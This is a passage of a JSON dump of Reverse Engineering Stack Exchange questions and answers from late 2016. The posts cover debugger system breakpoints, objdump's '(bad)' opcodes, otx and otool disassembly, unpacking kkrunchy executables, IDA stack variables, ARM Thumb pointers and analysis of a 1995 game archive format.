rel=\"nofollow noreferrer\">Lena151</a> it should get you up to speed if you're not familiar with (dis)assembly. In <a href=\"http://x64dbg.com\" rel=\"nofollow noreferrer\">x64dbg</a> you can get brief descriptions and the relevant intel manual section for every instruction with a click of the mouse which might come in handy too.</p>\n"
    },
    {
        "Id": "14012",
        "CreationDate": "2016-11-21T12:37:17.997",
        "Body": "<p>When I open a program in a debugger like OllyDbg or x64dbg, there are a lot of instructions before the initially selected instruction. Why does the debugger choose this instruction specifically to have it under the cursor? What is with the instructions on the list that appear before it? Were some of them executed?</p>\n",
        "Title": "What are all those instructions before the initally selected instruction in OllyDbg?",
        "Tags": "|ollydbg|",
        "Answer": "<p>Probably you are talking about the \"system breakpoint\". This is the location that the OS uses to break so the debugger can do its work. In x64dbg you can get more information by loading symbols for ntdll.dll. You will notice that the function is called <a href=\"http://blog.nandaka.io/ldrpdodebuggerbreak\" rel=\"nofollow noreferrer\">LdrpDoDebuggerBreak</a>. If you're not interested in the Windows loader you can simply disable it.</p>\n\n<p><img src=\"https://i.stack.imgur.com/zHRZY.png\" alt=\"disable system breakpoint\"></p>\n\n<p>The actual exception for the system breakpoint is <code>STATUS_BREAKPOINT</code>. The <code>LdrpDoDebuggerBreak</code> uses the <code>INT3</code> instruction to throw this exception to the debugger. Basically the OS is signalling the debugger that it finished the process initialization phase and also giving the debugger a chance to modify the thread context or process memory.</p>\n\n<p>You can see it in the code:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ZYvLS.png\" alt=\"int3\"></p>\n"
    },
    {
        "Id": "14034",
        "CreationDate": "2016-11-23T20:13:06.000",
        "Body": "<p>I'm trying to write my own disassembler for PE,PE+ and ELF executables but I'm stuck with a big problem on PE and PE+ executables.</p>\n\n<p>I'm checking my work by comparing my output with objdump, and I found some (bad) opcodes appear in the disassembled program. I immediately checked the instruction manual to control these values; they are shown as invalid in instruction manual. Some examples:</p>\n\n<p>Example from PE files:</p>\n\n<pre><code>40dad1:       d6                      (bad)\n</code></pre>\n\n<p>Some other:</p>\n\n<pre><code>402f1c:       ff                      (bad)\n402f1d:       ff                      (bad)\n402f1e:       ff                      (bad)\n402f1f:       ff 01                   incl   (%ecx) #at last a valid instruction\n</code></pre>\n\n<p>These are valid when I check the manual, but I cannot understand this (it's a PE+ file, architecture is AMD64):</p>\n\n<pre><code>f0 db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]\n\nf0 is lock prefix\ndb means its a x87 instruction\na5 is ModRM byte(10 100 101) and by looking mod and reg fields we can say it's an invalid instruction\n4e 9c 95 68 is used as 4byte disp but why ?\n</code></pre>\n\n<p>Do we assume that it's an invalid indirect x87 opcode and we continue to read as it's a valid opcode? I suppose objdump chooses this path.</p>\n\n<p>And what are these (bad) instructions for? It's clear that they are not for aligning; or am I doing something wrong?</p>\n\n<p>Btw, I'm trying to disassemble my old projects and FireFox to check if my program works. I'm using <code>objdump -z -d -M intel XXYYZZ.exe</code> to disassemble.</p>\n",
        "Title": "(bad) opcodes of objdump",
        "Tags": "|disassembly|pe|objdump|float|",
        "Answer": "<p>You are correct, and <code>objdump</code> is actually wrong to disassemble such instruction, only to mark it as <code>(bad)</code> in a later stage.</p>\n\n<p>Here is how it works:</p>\n\n<pre><code>db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]\n</code></pre>\n\n<p><code>db</code> is one of the 87 FPU extensions, and <code>a5</code> indeed is the Mod/rm byte. Now, for the FPU extensions, the rm part is \"as usual\" for all other mod/rm instructions, but the mod part indicates which instruction to use, from this small table:</p>\n\n<pre><code>DB\u00a0/0\u00a0\u00a0\u00a0\u00a0\u00a0FILD\u00a0mem4i\nDB\u00a0/2\u00a0\u00a0\u00a0\u00a0\u00a0FIST\u00a0mem4i\nDB\u00a0/3\u00a0\u00a0\u00a0\u00a0\u00a0FISTP\u00a0mem4i\nDB\u00a0/5\u00a0\u00a0\u00a0\u00a0\u00a0FLD\u00a0mem10r\nDB\u00a0/7\u00a0\u00a0\u00a0\u00a0\u00a0FSTP\u00a0mem10r\n</code></pre>\n\n<p>where the <code>/x</code> number indicates what got encoded in the mod part of the mod/rm byte (for completeness: <code>db eX</code> also forms some valid opcodes).</p>\n\n<p>So of all available codes, those with the mod/rm patterns of <code>..001...</code>, <code>..100..</code> and <code>..110...</code> form 'bad' codes - but you only know this <em>after</em> parsing the mod/rm byte <em>and</em> checking this specific table for the opcode <code>DB</code>.</p>\n\n<p>Now apparently objdump parses the entire instruction - including the 4-byte immediate value - <em>before</em> checking if the base instruction is valid to start with. I suppose it's just a table that says</p>\n\n<pre><code>\"fild\", \"(bad)\", \"fist\", \"fistp\", \"(bad)\", \"fld\", \"(bad)\", \"fstp\"\n</code></pre>\n\n<p>and the <code>(bad)</code> entries get used as if they are actually valid.</p>\n\n<p>One could argue that it's immaterial, because both ways lead to the conclusion the opcode is 'bad', but with objdump's method, you are not only discarding the first byte as 'bad' but an entire 6 bytes. It is at least <em>theoretically</em> possible the first byte (which causes the entire next sequence to be invalid) is data but followed <em>immediately</em> by correct code, which would then start with the sequence <code>a5 4e 9c 95 68</code> - which is skipped entirely by objdump.</p>\n\n<blockquote>\n  <p>.. what are these (bad) instructions for?</p>\n</blockquote>\n\n<p>I suppose, looking at the other instructions that you show, that you are disassembling a wrong part of the executable and this is not supposed to be code at all but data instead.</p>\n\n<p>You should check the PE/PE++ headers to find the <em>sections</em>, and then only attempt disassembly on a section marked as \"code\" and/or \"executable\" in its <code>Characteristics</code> field. Even then, it's possible to start at a 'wrong' position (e.g., in the middle of a longer instruction) or inside data (which may also reside inside a <code>.code</code> section).</p>\n"
    },
    {
        "Id": "14038",
        "CreationDate": "2016-11-24T17:10:56.173",
        "Body": "<p>otx is a tool used to disassemble Mach-O binaries on OS X 10.0-10.4.  It is an enhancement on top of otool to add additional symbol information to its disassembled output.</p>\n\n<p>The main site and SVN repository (<a href=\"http://otx.osxninja.com/\" rel=\"nofollow noreferrer\">http://otx.osxninja.com/</a>) appears to be long dead.  I've seen a few repos on GitHub but has anyone maintained or updated otx to work on modern versions of Mac OS?</p>\n",
        "Title": "Is there an up to date fork of otx?",
        "Tags": "|osx|",
        "Answer": "<p>The most up to date fork I have found of <code>otx</code> is <a href=\"https://github.com/x43x61x69/otx\" rel=\"nofollow noreferrer\">Cai's</a>. I have tried the CLI interface of his <a href=\"https://github.com/x43x61x69/otx/releases/download/v1.7/otx_b566.zip\" rel=\"nofollow noreferrer\">v1.7: Build 566</a> release on macOS 10.11.6 and it runs fine for basic disassembly, albeit on invoking it using <code>-o</code> to 'check the executable for obfuscation' against a little test code I wrote, it terminates with a</p>\n\n<blockquote>\n  <p>Terminating app due to uncaught exception\n  'NSInvalidArgumentException', reason: '-[X8664Processor\n  verifyNops:numFound:]: unrecognized selector sent to instance\n  0x7fb7e5806200'</p>\n</blockquote>\n\n<p>In my opinion there are better suited tools available today to disassemble binaries on OSX, among which even <code>otool</code> nowadays does not seem like it lacks functionality compared to <code>otx</code> for ad-hoc disassembly.</p>\n\n<p>Let's have a quick look by disassembling the section of a <a href=\"https://gist.github.com/moreaki/8b446ca85aecb93e2059c16d3c7cf9d6\" rel=\"nofollow noreferrer\">code</a> which reads (essentially the 32bit version of <code>32-__builtin_clz(n)</code>):</p>\n\n<pre><code>static uint8_t f1_u32(uint32_t n) {\n    return n ? 1 + f1_u32(n/2) : 0;\n}\n</code></pre>\n\n<p>Using <code>otool -t -d -vV -j -q -H -P ./kk 2&gt;/dev/null | grep -A24 \"^_f1_u32:\"</code> we get:</p>\n\n<pre><code>_f1_u32:\n0000000100000de0    55  pushq   %rbp\n0000000100000de1    48 89 e5    movq    %rsp, %rbp\n0000000100000de4    48 83 ec 10     subq    $0x10, %rsp\n0000000100000de8    89 7d fc    movl    %edi, -0x4(%rbp)\n0000000100000deb    83 7d fc 00     cmpl    $0x0, -0x4(%rbp)\n0000000100000def    0f 84 1b 00 00 00   je  0x100000e10\n0000000100000df5    8b 45 fc    movl    -0x4(%rbp), %eax\n0000000100000df8    c1 e8 01    shrl    $0x1, %eax\n0000000100000dfb    89 c7   movl    %eax, %edi\n0000000100000dfd    e8 de ff ff ff  callq   _f1_u32\n0000000100000e02    0f b6 f8    movzbl  %al, %edi\n0000000100000e05    83 c7 01    addl    $0x1, %edi\n0000000100000e08    89 7d f8    movl    %edi, -0x8(%rbp)\n0000000100000e0b    e9 0a 00 00 00  jmp 0x100000e1a\n0000000100000e10    31 c0   xorl    %eax, %eax\n0000000100000e12    89 45 f8    movl    %eax, -0x8(%rbp)\n0000000100000e15    e9 00 00 00 00  jmp 0x100000e1a\n0000000100000e1a    8b 45 f8    movl    -0x8(%rbp), %eax\n0000000100000e1d    88 c1   movb    %al, %cl\n0000000100000e1f    0f b6 c1    movzbl  %cl, %eax\n0000000100000e22    48 83 c4 10     addq    $0x10, %rsp\n0000000100000e26    5d  popq    %rbp\n0000000100000e27    c3  retq\n0000000100000e28    0f 1f 84 00 00 00 00 00     nopl    (%rax,%rax)\n</code></pre>\n\n<p>Using <code>./otx -d ./kk 2&gt;/dev/null | grep -A26 \"^_f1_u32:\"</code>, this is the result:</p>\n\n<pre><code>_f1_u32:\n    +0  0000000100000de0  55                 pushq    %rbp\n    +1  0000000100000de1  4889e5             movq     %rsp,         %rbp\n    +4  0000000100000de4  4883ec10           subq     $0x10,        %rsp\n    +8  0000000100000de8  897dfc             movl     %edi,         -0x4(%rbp)\n   +11  0000000100000deb  837dfc00           cmpl     $0x0,         -0x4(%rbp)\n   +15  0000000100000def  0f841b000000       je       0x100000e10\n   +21  0000000100000df5  8b45fc             movl     -0x4(%rbp),   %eax\n   +24  0000000100000df8  c1e801             shrl     $0x1,         %eax\n   +27  0000000100000dfb  89c7               movl     %eax,         %edi\n   +29  0000000100000dfd  e8deffffff         callq    _f1_u32\n   +34  0000000100000e02  0fb6f8             movzbl   %al,          %edi\n   +37  0000000100000e05  83c701             addl     $0x1,         %edi\n   +40  0000000100000e08  897df8             movl     %edi,         -0x8(%rbp)\n   +43  0000000100000e0b  e90a000000         jmp      0x100000e1a   Anon4\n   +48  0000000100000e10  31c0               xorl     %eax,         %eax\n   +50  0000000100000e12  8945f8             movl     %eax,         -0x8(%rbp)\n   +53  0000000100000e15  e900000000         jmp      0x100000e1a   Anon4\n\nAnon4:\n    +0  0000000100000e1a  8b45f8             movl     -0x8(%rbp),   %eax\n    +3  0000000100000e1d  88c1               movb     %al,          %cl\n    +5  0000000100000e1f  0fb6c1             movzbl   %cl,          %eax\n    +8  0000000100000e22  4883c410           addq     $0x10,        %rsp\n   +12  0000000100000e26  5d                 popq     %rbp\n   +13  0000000100000e27  c3                 retq\n   +14  0000000100000e28  0f1f840000000000   nopl     (%rax,%rax)\n</code></pre>\n\n<p>Besides cosmetic differences, we actually get (and expect) very similar output.</p>\n\n<p>Unbeknownst of your agenda, in recent times I have found myself using <a href=\"https://github.com/radare/radare2\" rel=\"nofollow noreferrer\">radare2</a> or the <a href=\"https://www.hopperapp.com/\" rel=\"nofollow noreferrer\">hopper</a> GUI tool rather than fiddling with <code>otool</code> or <code>otx</code> when it comes to disassembly.</p>\n\n<p>In hopper, you even get a decent pseudo code out of the disassembly (could be even better if hopper interpreted the <code>&amp; 0xff</code> as a hint towards an unsigned variable in this case):</p>\n\n<pre><code>int _f1_u32(int arg0) {\n    var_4 = arg0;\n    if (var_4 != 0x0) {\n            var_8 = (_f1_u32(var_4 &gt;&gt; 0x1) &amp; 0xff) + 0x1;\n    } else {\n            var_8 = 0x0;\n    }\n    rax = var_8 &amp; 0xff;\n    return rax;\n}\n</code></pre>\n"
    },
    {
        "Id": "14039",
        "CreationDate": "2016-11-24T17:12:24.840",
        "Body": "<p>I'm trying to figure out how to unpack kkruncy executable, <a href=\"https://github.com/farbrausch/fr_public/tree/master/kkrunchy\" rel=\"nofollow noreferrer\">sources here</a> and <a href=\"http://www.farbrausch.de/~fg/kkrunchy/\" rel=\"nofollow noreferrer\">binaries here</a>, anyone knows how to do it?</p>\n\n<p>My main idea was testing out some little hello world exes compressed with kkrunchy but for some reason the exes will crash. Ie:</p>\n\n<pre><code>#define UNICODE\n\n#include &lt;windows.h&gt;\n\nvoid start()\n{\n    MessageBox(NULL, L\"X\", L\"Y\", MB_OK);\n}\n</code></pre>\n\n<p>or:</p>\n\n<pre><code>global start\n; kernel32.lib Exports\nextern _ExitProcess@4\nextern _GetStdHandle@4\nextern _WriteFile@20\n\nsection .text\n\nstart:\n    ; DWORD  bytes;\n    mov     ebp, esp\n    sub     esp, 4\n\n    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)\n    push    -11\n    call    _GetStdHandle@4\n    mov     ebx, eax\n\n    ; WriteFile( hstdOut, message, length(message), &amp;bytes, 0);\n    push    0\n    lea     eax, [ebp-4]\n    push    eax\n    push    (message_end - message)\n    push    message\n    push    ebx\n    call    _WriteFile@20\n\n    ; ExitProcess(0)\n    push    0\n    call    _ExitProcess@4\n\n    ; never here\n    hlt\nmessage:\n    db      'Hello', 10, 13, 0\nmessage_end:\n</code></pre>\n\n<p>I've used the default parameters but the executables are broken. In any case, how could i figure out how to unpack kkrunchy executables?</p>\n",
        "Title": "How to unpack kkrunchy executables?",
        "Tags": "|tools|unpacking|decompress|packers|",
        "Answer": "<p>For my unpacking session I'm using <a href=\"http://x64dbg.com\" rel=\"nofollow noreferrer\">x64dbg</a> and I will unpack the executable in <a href=\"http://www.farbrausch.de/~fg/kkrunchy/kkrunchy_023a2.zip\" rel=\"nofollow noreferrer\">kkrunchy_023a2.zip</a>.</p>\n\n<p>Get to the entry point and enable trace record. Also bind the <code>Trace into beyond trace record</code> option to say <code>Ctrl+/</code>.</p>\n\n<p><img src=\"https://i.stack.imgur.com/35HOF.png\" alt=\"trace record entry point\"></p>\n\n<p>Next up, press <code>G</code> (for graph) and you should see the return blocks marked in red.</p>\n\n<p><img src=\"https://i.stack.imgur.com/ev4NY.png\" alt=\"graph return\"></p>\n\n<p>Put a breakpoint on both of them, run, step and you will notice a function with a suspiciously large graph...</p>\n\n<p><img src=\"https://i.stack.imgur.com/H2YV1.png\" alt=\"large graph\"></p>\n\n<p>Now go ahead and use that <code>Trace into beyond trace record</code> function to keep stepping through while skipping the instructions that were already traced over. You will quickly notice that this algorithm is exhausting the (default) <code>50000</code> step count and a bit of clicking around will tell you where the loop condition is.</p>\n\n<p><img src=\"https://i.stack.imgur.com/bYy5r.png\" alt=\"loop condition\"></p>\n\n<p>Put a hardware breakpoint on that destination, run and you should see the original entry point.</p>\n\n<p><img src=\"https://i.stack.imgur.com/s87Yq.png\" alt=\"oep\"></p>\n\n<p>Next up open Scylla <code>Ctrl+I</code>, hit <code>IAT Autosearch</code>, <code>OK</code>, <code>Get Imports</code>, <code>Dump</code>, <code>Fix Dump</code> and you have an unpacked executable. I will leave it upto you to properly clean out the garbage from that dump...</p>\n"
    },
    {
        "Id": "14043",
        "CreationDate": "2016-11-25T06:42:26.393",
        "Body": "<p>I'm using the IDApro free version and I was wondering why sometimes there could be a instruction like...</p>\n\n<pre><code>mov [esp + 1140h + var_1234], ebx\n</code></pre>\n\n<p>and if you click inside the bracket, and hit the letter K (Stands for the stack variable view)</p>\n\n<p>it can become something like </p>\n\n<pre><code>mov [esp], ebx\n</code></pre>\n\n<p>or </p>\n\n<pre><code>mov [esp+4], ebx\n</code></pre>\n\n<p>Why is there a huge jump from 1140h to suddenly nothing? What is happening here?</p>\n\n<p>Thank you in advance. </p>\n",
        "Title": "Stack variable information removed in IDA pro (free version)?",
        "Tags": "|ida|stack|stack-variables|",
        "Answer": "<p>IDA declares local variables as var_XXX at the start of function</p>\n\n<p>In the paste below var_108 is declared as dword ptr -108h</p>\n\n<p>So 0x10c - 108 = 4 \nIf You hit K \nida would show you </p>\n\n<pre><code>.text:0040115C                 lea     eax, [esp+4]\n</code></pre>\n\n<p>If I  find it confusing and prefer [esp+4] to <strong>[esp + x + (-y) ]</strong> I use the script in my answer to this question</p>\n\n<p><a href=\"https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013\">https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013</a></p>\n\n<pre><code>.text:00401150 sub_401150      proc near               ; CODE XREF: sub_4011BC+53p\n.text:00401150\n.text:00401150 var_108         = dword ptr -108h\n.text:00401150 arg_0           = dword ptr  8\n.text:00401150\n.text:00401150                 push    ebx\n.text:00401151                 add     esp, 0FFFFFEF8h\n.text:00401157                 push    105h\n.text:0040115C                 lea     eax, [esp+10Ch+var_108]\n</code></pre>\n\n<p>As RedLexus commented there is a reason why the local vars are negative </p>\n\n<p>when you push arguments and call a function  the stack layout will be like this </p>\n\n<pre><code>esp+0x00 -&gt; return addrss\nesp+0x04 _. arguments that were pushed follows from here\n</code></pre>\n\n<p>every thing that are negative like<br>\n<code>esp-0x4 upto stack top address viz esp - 0xxxx</code> are utilizable by the function to store temporary variables that are specific only in the scope of function  </p>\n\n<p>that is if you have a function </p>\n\n<pre><code>rettype calling convention somefunction (args 1.2,....,n)\n{\nlocal vars \nchar foo[0x100] \nulong blah\nint bar;\nfunction body follows\n\n}\n</code></pre>\n\n<p>the compiler/assembler would theoretically provide space for <strong>int bar at esp -0x108</strong></p>\n"
    },
    {
        "Id": "14051",
        "CreationDate": "2016-11-27T01:13:09.837",
        "Body": "<p>I'm using IDA Pro and WinDbg as a debugger. So I loaded an executable process into it. And now I need to know the entry point (or base address) of that loaded executable, the same as I would get from calling these APIs:</p>\n\n<pre><code>MODULEINFO mi = {0};\nif(::GetModuleInformation(::GetCurrentProcess(), ::GetModuleHandle(NULL), &amp;mi, sizeof(mi)))\n{\n    //Needed entry point is:\n    pEntryPoint = mi.EntryPoint;\n}\n</code></pre>\n\n<p>I found <a href=\"https://reverseengineering.stackexchange.com/questions/8488/how-to-get-imge-base-of-current-setting-through-script-in-ida-pro\">this reference</a>, but when I do:</p>\n\n<pre><code>idaapi.get_imagebase()\n</code></pre>\n\n<p>it gives me the error:</p>\n\n<blockquote>\n  <p>Operation not supported in current debug session 'idaapi.get_imagebase()'</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/cfjs9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cfjs9.png\" alt=\"enter image description here\"></a></p>\n\n<p>Sorry, I'm new to IDA. What am I doing wrong?</p>\n",
        "Title": "How to get a entry point of loaded process with IDA Pro and WinDbg as a debugger?",
        "Tags": "|ida|windows|windbg|entry-point|",
        "Answer": "<p>You need to switch to a different command line. Currently, you're using the WinDbg command line, which allows you to send commands to WinDbg instead of IDAPython:</p>\n\n<p><a href=\"https://i.stack.imgur.com/T9UxR.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/T9UxR.png\" alt=\"enter image description here\"></a></p>\n\n<p>Click on <kbd>WinDbg</kbd>, or press <kbd>Ctrl</kbd><kbd>\u2191</kbd> to switch to IDAPython, where <code>idaapi.get_imagebase()</code> works fine:</p>\n\n<p><a href=\"https://i.stack.imgur.com/tISIL.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/tISIL.png\" alt=\"enter image description here\"></a></p>\n\n<p>However, this doesn't really answer your question. What you want is the entry point, and to find it, you can either press <kbd>Ctrl</kbd><kbd>E</kbd> in IDA, or find it with WinDbg:</p>\n\n<p><a href=\"https://i.stack.imgur.com/u3M7Z.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/u3M7Z.png\" alt=\"enter image description here\"></a></p>\n\n<p>The command is:</p>\n\n<pre><code>.printf \"0x%X\", $exentry\n</code></pre>\n"
    },
    {
        "Id": "14053",
        "CreationDate": "2016-11-27T07:05:02.000",
        "Body": "<p>I am currently disassembling quite a large file >100MB. And I was wondering what factors reduce the amount of time needed to disassemble a large file completely.</p>\n\n<ul>\n<li><p>Is it a higher core count? </p></li>\n<li><p>Increased CPU frequency?</p></li>\n<li><p>More RAM? </p></li>\n<li><p>Faster IO reads and writes |SSD|M.2|?</p></li>\n</ul>\n",
        "Title": "Is there a way to improve disassembler speed?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>First, there are many algorithms used to disassemble a binary stream. The two most used ones are : <em>linear sweep</em> and <em>recursive traversal</em> (sometimes a hybrid), which present different performance and precision/reliability issues (how much code isn't disassembled properly : bad opcode, data interpreted as code, ...).<br>\nSo before you tackle implementation related performance issues you should check the computational complexity of the disassembler you're using.</p>\n\n<p>Second, more RAM and faster I/O is - almost - always a performance enhancer. If you are disassembling a +100MB binary file, you'll need all the help you can from the hardware. Therefore, having a fast SSD could reduce the I/O overhead experienced with a traditional HDD. For RAM, the larger the size the better, but keep in mind that the differences in performance between DDR, DDR2, DDR3, ECC, ... are quite substantial. </p>\n\n<p>Now with regard to the CPU core count and frequency's effects on disassembly performance, it is pretty hard to evaluate. Why? Well, you must ask yourself the following set of questions :</p>\n\n<ol>\n<li>Does the disassembler you're using implement a parallel disassembly algorithm ?</li>\n<li>If yes, how does the performance of the disassembler relate/scale with the core count ? If no, then one core will suffice.</li>\n</ol>\n\n<p>FYI, a high core frequency (each core can have a frequency domain of its own separate from his neighbor's) could lead to disastrous performance if RAM is too slow. In the industry we usually settle for a core frequency of at most 1.8x the frequency of RAM. Otherwise, some serious performance bottlenecks (bandwidth, memory access latency, ...) start to tighten up and choke the running stream of instructions.</p>\n\n<p>From what I know, IDA doesn't perform any parallel disassembly - I might be wrong, always check. Therefore, the first two points you cited in your question don't really matter.</p>\n\n<p>The simplest way to answer your question would be to say that : the complexity of the disassembly algorithm and the way the implementation takes advantage of the underlying hardware are the key factors for performance. </p>\n\n<p>Edit :</p>\n\n<p><strong>[Bonus]</strong></p>\n\n<p>If you wish to program a parallel disassembler you can do so this way :</p>\n\n<ol>\n<li>Choose a disassembler library (Udis86 for example)</li>\n<li>Extract the sections and add them to a hashtab which contains a boolean variable - for each section - referring to its state (disassembled <strong>'1'</strong>, not disassembled <strong>'0'</strong>)</li>\n<li>Write a <em>threadable</em> function which task is to pick a section in the hashtab and disassemble it (you'll have to manage the sections order, ...). Once the task is done, update the state (you'll have to use a lock : a mutex) and pick another one if there are any left.</li>\n</ol>\n\n<p>This might look easy to do, but in fact it is a bit challenging for that it depends on the flexibility of the disassembly library. Honestly, +100MB binaries are quite rare and commercial/available tools aren't usually designed to handle that much code/data optimally. </p>\n\n<p>If you need any additional/more technical details let me know, I'll be glad to develop some points. </p>\n"
    },
    {
        "Id": "14054",
        "CreationDate": "2016-11-27T07:53:33.750",
        "Body": "<p>So here is a byte sequence <code>45 A6 F7</code> in the <code>vtable</code>.<br>\nIt points to a subroutine which is located at <code>F7A644</code>.<br>\nIDA expresses it as \"function_symbol <strong>+1</strong>\"<br>\nWhy does it plus one?<br>\nWhy is it <code>45 A6 F7</code> rather than <code>44 A6 F7</code>?</p>\n",
        "Title": "Why does vtable function pointers have +1?",
        "Tags": "|ida|disassembly|arm|vtables|",
        "Answer": "<p>If it is ARM architecture that may use THUMB encoding it can be result of the following issue:</p>\n\n<p>If I remember correctly, calls to the virtual functions can be executed with assembly command similar to <code>BLX</code> as indirect jump, which allows switching between ARM and THUMB encoding. In this case this <code>+ 1</code> means that the target of the jump is encoded in THUMB.</p>\n\n<p>See <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0204j/Cihfddaf.html\">here</a> for more information about this mechanism.</p>\n\n<blockquote>\n  <p>All these instructions cause a branch to label, or to the address\n  contained in Rm. In addition:</p>\n  \n  <ul>\n  <li>The BL and BLX instructions copy the address of the next instruction into lr (r14, the link register).</li>\n  <li>The BX and BLX instructions can change the processor state from ARM to Thumb, or from Thumb to ARM. BLX label always changes the state. BX\n  Rm and BLX Rm derive the target state from bit[0] of Rm:</li>\n  <li>if bit[0] of Rm is 0, the processor changes to, or remains in, ARM state</li>\n  <li>if bit[0] of Rm is 1, the processor changes to, or remains in, Thumb state.</li>\n  </ul>\n</blockquote>\n"
    },
    {
        "Id": "14060",
        "CreationDate": "2016-11-28T19:50:22.463",
        "Body": "<p>I have some files with the following extensions: .ENV .LEV .VHC</p>\n\n<p>Those are from a pretty old game (1995) that is abandonware, i wanted to open them for a testing project in Unity, but i don't know what could be the real extension. After using a Hex editor, i can read some pieces of text, but I can't identify anything telling me what was the software used to create the file. I think they are models, maps, and sprites/textures.</p>\n\n<p>Inside the file i found some \".TXT\", \".3DW\" and \".SPR\".</p>\n\n<p>The files are <a href=\"https://www.dropbox.com/sh/bycacfc4sjk6hyr/AAD-Q_70oEZI2RzxyNPnns1wa?dl=0\" rel=\"nofollow noreferrer\">available on dropbox</a> if someone wants to have a look at them.</p>\n",
        "Title": "Is it possible to indentify real file format from a 1995 file?",
        "Tags": "|file-format|",
        "Answer": "<p>If the game is from 1995, it's quite certain that the file format is specific to this game and the game studio that produced it. Game engines like Unity weren't a thing then; Studios wrote their software in C, maybe C++, and invented their own files and packers.</p>\n\n<p>So, the \"real\" file format is what you're seeing; and the software used to create the file was very probably written specifically for this game and has since been long lost, especially if the game is abandonware which probably means the company behind it went defunct at some time. So, don't expect to be able to find any software these days that can read your files directly.</p>\n\n<p>What you might be able to do is find out how the internal files are packed together and write some C/Perl/Python/... code to extract the <code>.TXT</code>, <code>.3DW</code> and <code>.SPR</code> contents, try software like <code>file</code> and <code>trid</code> if those contents are some generic format (unlikely but at least not impossible), then analyze these individual files in a hex editor to find their structure. But, as malikcjm said, it's very likely that you won't be able to read the files unless you disassemble the game binary to check how the game itself reads them, derive the file format from that, and then write some code yourself to convert that format to something modern.</p>\n\n<p>If you can, you might try uploading the files somewhere and provide a link, as well as tell us which game they are from and who produced it; chances are someone who has seen similar files might recognize them.</p>\n\n<p>Update:</p>\n\n<p>When I download the files and compress them, the size of at least the two CITY files doesn't shrink much:</p>\n\n<pre><code>gbl@roran:~/Temp/Winrace$ ls -l\ntotal 788\n-rw-r--r-- 1 gbl users  44423 Dec  1 05:10 CITY.ENV\n-rw-r--r-- 1 gbl users 242641 Dec  1 05:10 CITY1.LEV\n-rw-r--r-- 1 gbl users  52720 Dec  1 05:10 MINI.VHC\n-rw-r--r-- 1 gbl users 462848 Dec  1 05:10 WINRACE.EXE\ngbl@roran:~/Temp/Winrace$ gzip *\ngbl@roran:~/Temp/Winrace$ ls -l\ntotal 472\n-rw-r--r-- 1 gbl users  38260 Dec  1 05:10 CITY.ENV.gz\n-rw-r--r-- 1 gbl users 223044 Dec  1 05:10 CITY1.LEV.gz\n-rw-r--r-- 1 gbl users  26003 Dec  1 05:10 MINI.VHC.gz\n-rw-r--r-- 1 gbl users 186138 Dec  1 05:10 WINRACE.EXE.gz\n</code></pre>\n\n<p>See how the .EXE compresses much better than the CITY* files? So it's likely those files are compressed, but with an algorithm that's a bit weaker than gzip. This would explain why you can't really find useful strings in them as well.</p>\n\n<p>Now, let's check the hex dump of CITY.ENV which begins with:</p>\n\n<pre><code>00000000  43 49 54 59 2e 54 58 54 00 6b 00 00 00 a5 00 00   CITY.TXT.k......\n00000010  00 03 fb 0d 0a 01 00 20 20 73 70 6f ff 74 20 31   .......  spo.t 1\n00000020  20 52 55 42 42 ef 45 52 46 58 05 00 20 33 2c d7    RUBB.ERFX.. 3,.\n00000030  31 37 2c 17 00 30 01 58 44 55 af 53 54 31 5f 14   17,..0.XDU.ST1_.\n00000040  30 32 1d 08 35 7e 21 58 42 49 47 53 50 4c 36 08   02..5~!XBIGSPL6.\n00000050  da 37 38 32 03 38 32 20 51 08 41 53 41 48 6a 00   .782.82 Q.ASAHj.\n00000060  16 18 1c 10 5f 10 61 38 33 6b 08 77 41 52 4b 33   ...._.a83k.wARK3\n00000070  20 36 2c 34 7a 10 03 2d 31 41 10 a2 00 43 41 52    6,4z..-1A...CAR\n00000080  53 45 4c 2e 52 41 57 00 d2 6c 00 00 00 fd 00 00   SEL.RAW..l......\n</code></pre>\n\n<p>Obviously, there's a filename CITY.TXT at offset 0000, and another one at offset 007D. So the question is, how does the decoder know how long a file is, and where the next one starts? And how does it know how long the file name is, as they don't all have the same length?</p>\n\n<p>Both of these file names end with a <code>\\0</code>, the string terminator in C, so let's just assume this <code>\\0</code> doesn't have another meaning. Next is <code>6B000000</code>, or <code>0000006B</code> in little-endian that x86 uses, which is just a bit less than the offset of the next file name. So this might have to do with the compressed length of the file.</p>\n\n<p>Checking this with the next file at 007D, we find a length of 6CD2. Adding the start of the file name to this, we get 6D4D. And indeed, a few bytes behind that, at 6D63, we have </p>\n\n<pre><code>00006d60  03 dd d5 52 55 42 42 45 52 46 58 2e 46 54 00 40   ...RUBBERFX.FT.@\n</code></pre>\n\n<p>the next filename.</p>\n\n<p>So let's make a table - byte position of filename, filename, integer after filename, sum of byte position and integer, position of next filename, and offset that needs to be added to the sum to reach the next filename:</p>\n\n<pre><code>0000    CITY.TXT        006B    006B    007D    +0012\n007D    CARSEL.RAW      6CD2    6D4D    6D63    +0016\n6D63    RUBBERFX.FT     0040    6DA3    6DB8    +0015\n6DB8    RUBBERFX.3DW    045F    7217    722C    +0015\n722C    PSPOTFX2.TM     1CBA    8EE6    8EFA    +0014\n8EFA    FDUST1_FX.FT    .....  &lt;-- the first F might be spurious as the next file is DUST1.FX\n</code></pre>\n\n<p>Obviously, the assumption that these 4 bytes are the length of the compressed bytes seems to be true, even when we don't know yet why the offsets (last column) aren't constant. Doesn't seem like they have to do with the length of the filename either, as the first two differ 2 in length but 4 in the offset, and the 3rd and 4th have the same offset but different lengths.</p>\n\n<p>Next, let's check the bytes behind that length byte and make another table:</p>\n\n<pre><code>0000    CITY.TXT        006B    00A5\n007D    CARSEL.RAW      6CD2    